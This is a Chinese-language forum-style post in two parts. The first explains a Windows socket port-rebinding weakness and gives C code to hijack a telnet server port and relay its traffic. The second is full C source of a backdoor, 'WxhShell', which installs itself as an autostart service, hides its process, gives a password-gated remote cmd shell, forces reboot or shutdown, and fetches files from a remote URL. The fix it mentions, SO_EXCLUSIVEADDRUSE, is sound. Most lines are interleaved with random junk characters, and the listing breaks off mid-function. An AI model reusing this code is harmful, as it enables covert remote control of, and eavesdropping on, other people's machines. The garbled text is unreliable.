在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_'"whZ)2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+4Uxq{.K ,fa' saddr.sin_family = AF_INET;
2[8C?7_K0? r%^l~PN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
g*& |Eq/ c'8pTP%[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
c4'k-\JvT f1_b``M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
jLZ^EM- c{X:0man 这意味着什么?意味着可以进行如下的攻击:
--}5%6 " A}S92 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6yN8(&` SZhW)0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#2~-I )*wM
DM5q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
C=&rPUX{ UHh7x%$n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ipThwp9 ,sqxxq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
AJ0
;wx ^DWvzfj 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]?#E5(V@x N#Y|MfLc 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
c :{#H9 4N- T=Ig #include
=>k E`"{! #include
V4.&"0\n # #include
G'M;]R9EP #include
K#e&yY DWORD WINAPI ClientThread(LPVOID lpParam);
~7$4w# of0 int main()
_,?<r&>v6 {
KT>eE WORD wVersionRequested;
*@zh DWORD ret;
+[R,wsG WSADATA wsaData;
"^UJC- BOOL val;
FZ0wtS2 SOCKADDR_IN saddr;
ruKm_j#J SOCKADDR_IN scaddr;
+=:*[JEK,U int err;
pp2,d`01[L SOCKET s;
N-9Vx#i SOCKET sc;
1#D &cx6 int caddsize;
%\|9_=9Wn HANDLE mt;
Us.")GiHE DWORD tid;
$q
iY)RE wVersionRequested = MAKEWORD( 2, 2 );
pr) `7VuKp err = WSAStartup( wVersionRequested, &wsaData );
R'udC} if ( err != 0 ) {
?m(]@6qa printf("error!WSAStartup failed!\n");
s6k@W T?"^ return -1;
a
At<36{? }
)#H&lH saddr.sin_family = AF_INET;
6Bop8B R.(fo:ve> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!*tV[0i2 @X?7a]+;8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
OABMIgX saddr.sin_port = htons(23);
?DwI>< W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p";5J+?( {
'BiR ,M$mY printf("error!socket failed!\n");
=Lc!L
!(,b return -1;
r+D ?_Lk }
OtVRhR3> val = TRUE;
b:M1P&R //SO_REUSEADDR选项就是可以实现端口重绑定的
5p}ri,Y< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0{q>'dv {
zJ=lNb?q printf("error!setsockopt failed!\n");
NR6wNz&81 return -1;
wOLDHg_ }
VbG#)>"F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
S <RbC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]VCVV!G_=n //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9Ev<t\B 5Qh$>R4!" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Z"pCDW) {
[B,w\PLub ret=GetLastError();
"K9/^S_ printf("error!bind failed!\n");
vh/&KTe?: return -1;
^c-8~r|y, }
!2o1c listen(s,2);
[qL{w&R while(1)
i!a.6Gq {
)/y7Fh caddsize = sizeof(scaddr);
$0mR_pA\fW //接受连接请求
.DX-biX, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x@)G@'vV| if(sc!=INVALID_SOCKET)
^ 5D%)@~ {
..K@'*u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-`8pahI if(mt==NULL)
+v.<Fw2k# {
7G\a5 printf("Thread Creat Failed!\n");
vH?rln break;
#lY_XV. }
VRs|"; }
[pRRBMho CloseHandle(mt);
1`Ig A0V`" }
Ct<]('Hm( closesocket(s);
KL<,avC/ WSACleanup();
Ym8
V) return 0;
0z
=?}xr }
l"rX'g? DWORD WINAPI ClientThread(LPVOID lpParam)
:u9OD` D {
gr^TL1( SOCKET ss = (SOCKET)lpParam;
JE*d- SOCKET sc;
`w_%HVw>" unsigned char buf[4096];
f|'0FI SOCKADDR_IN saddr;
1VR|z long num;
Mgp+#w+, DWORD val;
T\wfYuc&X DWORD ret;
,6 IKkyD //如果是隐藏端口应用的话,可以在此处加一些判断
gWu<5Y=C //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
DP8%/CV!* saddr.sin_family = AF_INET;
6KRC_- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ogvB{R saddr.sin_port = htons(23);
WqJrDj~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
II'"Nkxd {
9Rm\@E
[ printf("error!socket failed!\n");
xjy(f~' return -1;
FX1H2N( }
a_3w/9L4r val = 100;
X=KC+1e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W8_$]}G8E {
sxn{uRF ret = GetLastError();
Rz#q68 return -1;
k.ttrKy<q/ }
;EB^1*AEw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`oU|U!| {
dLfB){>S ret = GetLastError();
0NF=7 j return -1;
VTwDa*]AhB }
6dncUfB if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
oMNSQMlI {
T' > MXFLh printf("error!socket connect failed!\n");
='t}d>l closesocket(sc);
%XBMi~ closesocket(ss);
^~;"$=Wf return -1;
agkGUK/ }
+^DDWVp while(1)
QnA~,z/.w {
}n( ?| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.>a
[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
{SkE`u4Sz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f#kT?!sP num = recv(ss,buf,4096,0);
#\8"d if(num>0)
VTa% send(sc,buf,num,0);
^D76_'{ else if(num==0)
hS1I ;*t break;
+ag_ w} num = recv(sc,buf,4096,0);
!(HPx@_ if(num>0)
bE;c&g send(ss,buf,num,0);
TI|h else if(num==0)
v1rTl5H break;
fKW)h?.Kd }
=NmW}x|n closesocket(ss);
mxE< closesocket(sc);
cgi:"y F return 0 ;
PX*}.L *x }
1\a.o[g3e E/zclD5S 6f:u AFwG ==========================================================
y_'6bpb U=WS] 下边附上一个代码,,WXhSHELL
Z(XohWe2 3
"iBcsLn ==========================================================
"AP$)xM-: .I?~R:(Ig #include "stdafx.h"
CTS1."kx1 IZLBv2m #include <stdio.h>
u].7+{
#include <string.h>
8iTB #include <windows.h>
xnfJruT #include <winsock2.h>
4f&"1: #include <winsvc.h>
? G`6}NP #include <urlmon.h>
)$ h!lAo J&iSS9c #pragma comment (lib, "Ws2_32.lib")
#aQQd8 #pragma comment (lib, "urlmon.lib")
2EOx],(| s"XwO8yhM #define MAX_USER 100 // 最大客户端连接数
fy$?~Ji& #define BUF_SOCK 200 // sock buffer
?N(<w?Gat #define KEY_BUFF 255 // 输入 buffer
.1}1e;f- 84!Hd.H #define REBOOT 0 // 重启
wn;)La #define SHUTDOWN 1 // 关机
+0?1"2 58d[>0Xa[g #define DEF_PORT 5000 // 监听端口
\wDL oR zW\s{ #define REG_LEN 16 // 注册表键长度
fTso[r:F. #define SVC_LEN 80 // NT服务名长度
mPhu#oK'f ,5x#o // 从dll定义API
S@'%dN6e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:..WL;gC typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
L6ap|u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
VEp cCK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
tY>Zy1hlI v[2&0&!K# // wxhshell配置信息
'#XT[\ struct WSCFG {
9a @rsyX int ws_port; // 监听端口
sopf-g: char ws_passstr[REG_LEN]; // 口令
@mJ~?d95v int ws_autoins; // 安装标记, 1=yes 0=no
Mg2 e0}{ char ws_regname[REG_LEN]; // 注册表键名
z)(W
x"> char ws_svcname[REG_LEN]; // 服务名
)3)7zulnXH char ws_svcdisp[SVC_LEN]; // 服务显示名
L+*:VP6WD char ws_svcdesc[SVC_LEN]; // 服务描述信息
:0,yq?M char ws_passmsg[SVC_LEN]; // 密码输入提示信息
hbg$u$1`, int ws_downexe; // 下载执行标记, 1=yes 0=no
/wax5FS'I, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@H<*|3J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
''(rC38 u>]3?ty` };
m8;w7S7,j~ |Iw glb!k // default Wxhshell configuration
|lcp
(u*u struct WSCFG wscfg={DEF_PORT,
`/Rqt+C "xuhuanlingzhe",
,/%'""`w 1,
J&s$Wqf "Wxhshell",
^vPsp? "Wxhshell",
d]Y;rqjue "WxhShell Service",
0-[naGz "Wrsky Windows CmdShell Service",
Lg~C:BNF "Please Input Your Password: ",
C[}UQod0 1,
Fuzb4Df "
http://www.wrsky.com/wxhshell.exe",
\+#EO%sN1% "Wxhshell.exe"
/`l;u7RD };
}W'4(V;: ,<* I5: // 消息定义模块
^86M94k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f9 \$,7F char *msg_ws_prompt="\n\r? for help\n\r#>";
YrJUs]A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*/l;e<E char *msg_ws_ext="\n\rExit.";
aG83@ABx char *msg_ws_end="\n\rQuit.";
"a=Hr4C*r char *msg_ws_boot="\n\rReboot...";
|1"&[ . char *msg_ws_poff="\n\rShutdown...";
BvsSrse char *msg_ws_down="\n\rSave to ";
#G.eiqh$a &92/qRh7 char *msg_ws_err="\n\rErr!";
+]nIr'V char *msg_ws_ok="\n\rOK!";
MqB@}! mEbI\!}H0 char ExeFile[MAX_PATH];
eb}P/ int nUser = 0;
@lF?+/=$ HANDLE handles[MAX_USER];
t^KQ*8clG int OsIsNt;
.}/8] Ny^f'tsA SERVICE_STATUS serviceStatus;
}%8ZN : SERVICE_STATUS_HANDLE hServiceStatusHandle;
FGx)? p<=Lh47 = // 函数声明
e`s1z|h int Install(void);
'9Z`y_~)G int Uninstall(void);
cZQ8[I int DownloadFile(char *sURL, SOCKET wsh);
>7PQOQMW' int Boot(int flag);
MzX&|wimb void HideProc(void);
NJQ)Ttt int GetOsVer(void);
Sz@z
0' int Wxhshell(SOCKET wsl);
"qNFDr(WM void TalkWithClient(void *cs);
Jz~: int CmdShell(SOCKET sock);
!9WGZfK+0Y int StartFromService(void);
4hy-M>!D| int StartWxhshell(LPSTR lpCmdLine);
;_vhKU)%J# %+=;4tHJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-R]0cefC<f VOID WINAPI NTServiceHandler( DWORD fdwControl );
CYLab5A N.vWZ7l8 // 数据结构和表定义
DPjs?M< SERVICE_TABLE_ENTRY DispatchTable[] =
Lo%vG{yTr {
-dixiJ= {wscfg.ws_svcname, NTServiceMain},
U8Zb&6 {NULL, NULL}
gns}%\, };
\^*:1=|7u] $j.;$~F // 自我安装
_i}b]xfM int Install(void)
I09 W= {
O{_t*sO9q* char svExeFile[MAX_PATH];
[M[<'+^* HKEY key;
8Y.qP"s strcpy(svExeFile,ExeFile);
?!P0UTe~ !i) !|9e // 如果是win9x系统,修改注册表设为自启动
v?OVhV if(!OsIsNt) {
m2\\!C]f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ku l<Q< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
BV
B2$&eJ RegCloseKey(key);
Q?i_Nl/| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SjB"#E) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@W>@6E RegCloseKey(key);
=|]h-[P' return 0;
5[jcw` }
B18BwY }
P|<V0
Vs. }
"00j]e. else {
~j'D%:[+VH 7P+1W
\ // 如果是NT以上系统,安装为系统服务
i90 X0b-A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'z;(Y*jb if (schSCManager!=0)
`s}L3bR] {
iz# R)EB/g SC_HANDLE schService = CreateService
qU!dg (
^A@f{g$KB+ schSCManager,
s#s">hMrI wscfg.ws_svcname,
%6320 x wscfg.ws_svcdisp,
%NrH\v{7Q SERVICE_ALL_ACCESS,
Xe%J{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(Lgea SERVICE_AUTO_START,
]ub"OsXC SERVICE_ERROR_NORMAL,
C8|V?bL svExeFile,
&))d],tJX NULL,
YCD|lL# NULL,
/P*XB%y NULL,
t2o{=!$WH NULL,
ksv] NULL
o~~;I );
.jCGtR )% if (schService!=0)
X[o+Y@bc {
9fEe={ B+ CloseServiceHandle(schService);
'Gn>~m CloseServiceHandle(schSCManager);
T]De{nH u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[7I bT:ph strcat(svExeFile,wscfg.ws_svcname);
[f_^BU& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
O`~#X w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)XDBK*! RegCloseKey(key);
YRlf U5 return 0;
Ic2?1<I ZA }
rE+B}O }
i!%bz CloseServiceHandle(schSCManager);
m
!*F5x }
P\j\p
= }
/*qRbN Mk}T return 1;
7
~~ug }
_"1RidhH [<#jK}g // 自我卸载
NfvPE ]S int Uninstall(void)
!q2zuxq!R {
=x8[%+ HKEY key;
61S;M8tNv Y"mFUW4 if(!OsIsNt) {
%
"(&a'B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~bZ$ d{o^ RegDeleteValue(key,wscfg.ws_regname);
G4@r_VP \ RegCloseKey(key);
*D?_,s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"U}kp#) RegDeleteValue(key,wscfg.ws_regname);
1p}H,\o RegCloseKey(key);
oVvA`} return 0;
=P(*j7= }
f!x9% }
7l53&,s }
Z~J]I|R: else {
s * (a >5CK&6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(03/4*g_s if (schSCManager!=0)
S~Gse+* {
XRV]u|w=g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
CPOHqK`k if (schService!=0)
XQy`5iv {
/pj[c;aO if(DeleteService(schService)!=0) {
J~2SGXH)^? CloseServiceHandle(schService);
N{v)pu. CloseServiceHandle(schSCManager);
=LaEEL return 0;
Ek L2nI }
^p3GT6 CloseServiceHandle(schService);
"W7|Xp }
`WayR^ 9 CloseServiceHandle(schSCManager);
ab6I*DbF }
''nOXl }
h$02#(RHJ VfcIR( return 1;
LCB-ewy#E }
\4N8-GwZQ RrMEDMhk6 // 从指定url下载文件
nJ;^Sz17Q int DownloadFile(char *sURL, SOCKET wsh)
sM-,95H {
VhO%4[Jl HRESULT hr;
l!tR<$| char seps[]= "/";
IbI0".o char *token;
GKt."[seV char *file;
36=aahXd\ char myURL[MAX_PATH];
(uC8M,I\ char myFILE[MAX_PATH];
pQiC#4b ]DNPG" strcpy(myURL,sURL);
]}v]j`9m% token=strtok(myURL,seps);
b}K,wAx
while(token!=NULL)
pl]|yIZ {
KqFI2@v
file=token;
{:1j>4m2 token=strtok(NULL,seps);
BP3Ha8/X }
1wR[nBg*| 8c9HJ9vk GetCurrentDirectory(MAX_PATH,myFILE);
WE) *~5 strcat(myFILE, "\\");
}Fjbj5w0 strcat(myFILE, file);
1&MCS%UTL send(wsh,myFILE,strlen(myFILE),0);
83vMj$P send(wsh,"...",3,0);
hN3FH#YO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r)^sHpK:` if(hr==S_OK)
: B^"V\WE return 0;
|N&t else
q94;x|63 return 1;
;%e)t[5 4LTm&+(5 }
DPI[~ B\Nbt!Ps // 系统电源模块
'7?Y+R@|L int Boot(int flag)
x%EGxs;>^ {
:r*hY$v HANDLE hToken;
4}H+hk8- TOKEN_PRIVILEGES tkp;
8US#SI'x r9ulTv}X if(OsIsNt) {
.iy4
(P4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
H,(vTthd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$lxpwO tkp.PrivilegeCount = 1;
gC1LQ!:;Oi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k6bct@7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>$D!mraih if(flag==REBOOT) {
/yI4;:/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
A6]:BuP;c return 0;
EZ<:>V-_D }
'zYS:W else {
MJGT|u8O& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
wMVUTm return 0;
91]|4k93 }
WoTeIkM9 }
gv`_+E{P else {
9S%5Z> if(flag==REBOOT) {
;\pVc)\4" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
aj5HtP- return 0;
'gf[Wjb,% }
z8X7Y
>+SA else {
.y
s_'F-]0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[.}qi[=n return 0;
1$0Kvvg[ }
vfkF@^D }
x9 > ho GB$`b'x@S return 1;
t;o\"H }
F'K >@y =dAAb\: // win9x进程隐藏模块
7p1Y g void HideProc(void)
u}%OC43 {
aGbG@c8PRi ,8 4|qI HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
n[jXqFm!` if ( hKernel != NULL )
"u6pl);G {
rDWAZ<;; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ogFo/TKM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
z 206fF FreeLibrary(hKernel);
ia5% }
vqeH<$WHvy *p(_="J, return;
"L~Oj&AN[ }
bLg!LZ|S0s U"r*kO% // 获取操作系统版本
_WZx].|A= int GetOsVer(void)
g7zl5^o3j {
64u(X^i OSVERSIONINFO winfo;
G=cRdiy`C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
t<v.rb GetVersionEx(&winfo);
:`N&BV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=2 HY]H return 1;
,?8a3% else
TQ(q[:> return 0;
%tVU Rj }
(,I:m[0 C'I&< // 客户端句柄模块
sx#O3*'>1 int Wxhshell(SOCKET wsl)
76w[X=Fv {
TDo)8+.2z SOCKET wsh;
Y(Qb)>K struct sockaddr_in client;
7z;2J;u`n DWORD myID;
<W0(!<U ??/bI~Sd while(nUser<MAX_USER)
zx$YNjeV {
b\"F6TF: int nSize=sizeof(client);
6:2* < wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"pO if(wsh==INVALID_SOCKET) return 1;
]'pfw9"f~ 8w:ay,= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
d_,My lk if(handles[nUser]==0)
D|zuj] closesocket(wsh);
6,=Z4> else
GN|"RuQ nUser++;
j6l1<3j }
.s<0}<Aq> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%NkiY iA fS"u"]j*e return 0;
Nw. )O }
]0R*F30] Y!M0JSaM // 关闭 socket
I7U/={[J void CloseIt(SOCKET wsh)
3P0z$jh"H {
\aJ>? closesocket(wsh);
Osqk#Oh nUser--;
lj]M 1zEz& ExitThread(0);
"e-Y?_S7R8 }
.JKH=?~\ Tt~4'{Bc // 客户端请求句柄
yP]>eLTSd void TalkWithClient(void *cs)
E{V?[HcWq {
FsqH:I4O 3Ws (],Q SOCKET wsh=(SOCKET)cs;
~u*4k:2H char pwd[SVC_LEN];
~3s?.[}d char cmd[KEY_BUFF];
q_[y|ETJ] char chr[1];
]+e
zg(C} int i,j;
(3N/DY1/ 5J`w8[; while (nUser < MAX_USER) {
%X_A# 9 '
wl}) if(wscfg.ws_passstr) {
nT|WJ% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)cH\i91 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O]XRalkEM //ZeroMemory(pwd,KEY_BUFF);
sNx_9pJs4 i=0;
h?TIxo:6/ while(i<SVC_LEN) {
807+|Ol[ I q|'#hs // 设置超时
,9y6:W%5 fd_set FdRead;
b,Eq-Z; struct timeval TimeOut;
+j: &_ FD_ZERO(&FdRead);
X8tPn_`x FD_SET(wsh,&FdRead);
h>V6}(~;. TimeOut.tv_sec=8;
l=xG<)Okb TimeOut.tv_usec=0;
c7+6[y DVE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7NJl+*u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d>Tv?'o`q \8#[AD*@s2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
IS8 sJ6") pwd
=chr[0]; V~PGmn[V
if(chr[0]==0xd || chr[0]==0xa) { ]n4PM=hz
pwd=0; 1V`-D8-?
break; \L>XF'o
} h_t`)]-
i++; 3fLdceT
} -Jd7
Z+V%~C1
// 如果是非法用户,关闭 socket W)1nc"WqY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H^Pq[3NQ
} JX'}+.\
i3XtrP""
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); | K|AUI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q2#Ebw%]
nOyG7:
while(1) { JA{kifu0+
1!1,{\9%
ZeroMemory(cmd,KEY_BUFF); 8@vq.z}
:#vA5kC
// 自动支持客户端 telnet标准 1o5kP,)
j=0; 0VvY(j:hp
while(j<KEY_BUFF) { PoZ$3V$(Lz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fKEDe>B5
cmd[j]=chr[0]; %(s|
if(chr[0]==0xa || chr[0]==0xd) { =X(N+(1~
cmd[j]=0; 'sAkrl8kt
break; ty!DMg#
} 6\l F
j++; Q:)4
} nGGw(6c%>
mqeW,89
// 下载文件 ();Z,A
if(strstr(cmd,"http://")) { ecm+33C
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
C2LG@iCIE
if(DownloadFile(cmd,wsh)) iOm&(2/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3T(ft^~
else -0a3eg)Z*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;nh_L(
} ],AtR1k
else { At>e4t2@
}vZfp5Y
switch(cmd[0]) { qh bagw~
.\H-?6R^
// 帮助 C=;}7g
case '?': { !rgXB(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6&+dpr&c~=
break; ^Zs^
} =l2 @'Y Q
// 安装 dw#pObH|`
case 'i': { HziQ%QR
if(Install()) B_#M)d
O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E>@]"O)=M,
else tM@%EO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >mQD/U
break; a%y*e+oM
} NjS<DzKhK
// 卸载 {<IHiB35q
case 'r': { K4Ed]hX
if(Uninstall()) ?`vGpi~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !]"M]tyv\
else k=t{o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eOVln1a
break; v3~`1MM
} pb<eg,
// 显示 wxhshell 所在路径 [)X( Qtk
case 'p': { Oc~<`C~
char svExeFile[MAX_PATH]; ,X|
>d
strcpy(svExeFile,"\n\r"); kFQo[O]
strcat(svExeFile,ExeFile);
]x1ba_
send(wsh,svExeFile,strlen(svExeFile),0); K\}qYdPF
break; /"!ck2d&1
} WO69Wo\C
// 重启 fZs}u<3Q)
case 'b': { !j6CvclT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FBi&MZ`
if(Boot(REBOOT)) n%2c<@p#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *` -
else { q%s<y+
closesocket(wsh); t`6~ud>
ExitThread(0); aEUEy:.
} heES
[
break; =J-&usX
} % T$!I (L&
// 关机 \Pfm>$Ib=
case 'd': { L$Xkx03lz>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "2!5g )iO
if(Boot(SHUTDOWN)) q.hpnE~#lh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W)2k>cS
else { KVC18"|f
closesocket(wsh); aB&a#^5CI
ExitThread(0); gW G>}M@
} .$&vSOgd(
break; n Fwg pT
} 6[Mu3.T
// 获取shell Kr<a6BEv5
case 's': { ;Uypv|xX
CmdShell(wsh); fsKZ
closesocket(wsh); ^AwDZX
ExitThread(0); 'cN3Vv k
break; 9$sx+=(
} [2!?pVI
// 退出 {- &wV
case 'x': { sEb*GF*.V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :2t?0YR
CloseIt(wsh); Q:b>1
break; \!)1n[N
} Wsw/ D
// 离开 utdus:B#0
case 'q': { 2ak*aI
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5'rP-z~
u
closesocket(wsh); P1qnU
WSACleanup(); p1s&
y0:d
exit(1); od/Q"5t[p
break; x1+ V
} H"JzTo8u
} N,ihQB5
} Xj6?,J
s=&x%0f%
// 提示信息 !M7727
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Coe%R(x5
} x*_'uP oS
} &K"qnng/y
lt C
return; >{h/4T@
} /a-OBU
7@!ne&8Z?
// shell模块句柄 V?Ca[
int CmdShell(SOCKET sock) %vWh1-
{ #"JtH"pF
STARTUPINFO si; !y;xt?
ZeroMemory(&si,sizeof(si)); G$iC@,/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'oM&Ar$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /pgn?e'lk
PROCESS_INFORMATION ProcessInfo; yMe;
char cmdline[]="cmd";
DUs0L\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,h9N,bIQg
return 0; )O6_9f_
} JW=P}h
g/z7_Aq/
// 自身启动模式 C1(0jUz
int StartFromService(void) J+nUxF;EE
{ y}>bJ:
typedef struct !X{>?.@~
{ MM/D5g
DWORD ExitStatus; *46hw(L
DWORD PebBaseAddress; U NescZ
DWORD AffinityMask; U=KFbL1Q
DWORD BasePriority; X_J(P?
ULONG UniqueProcessId; $-BM`Zt0;
ULONG InheritedFromUniqueProcessId; X=X
} PROCESS_BASIC_INFORMATION; dj:6c@n
5uvFCY./c
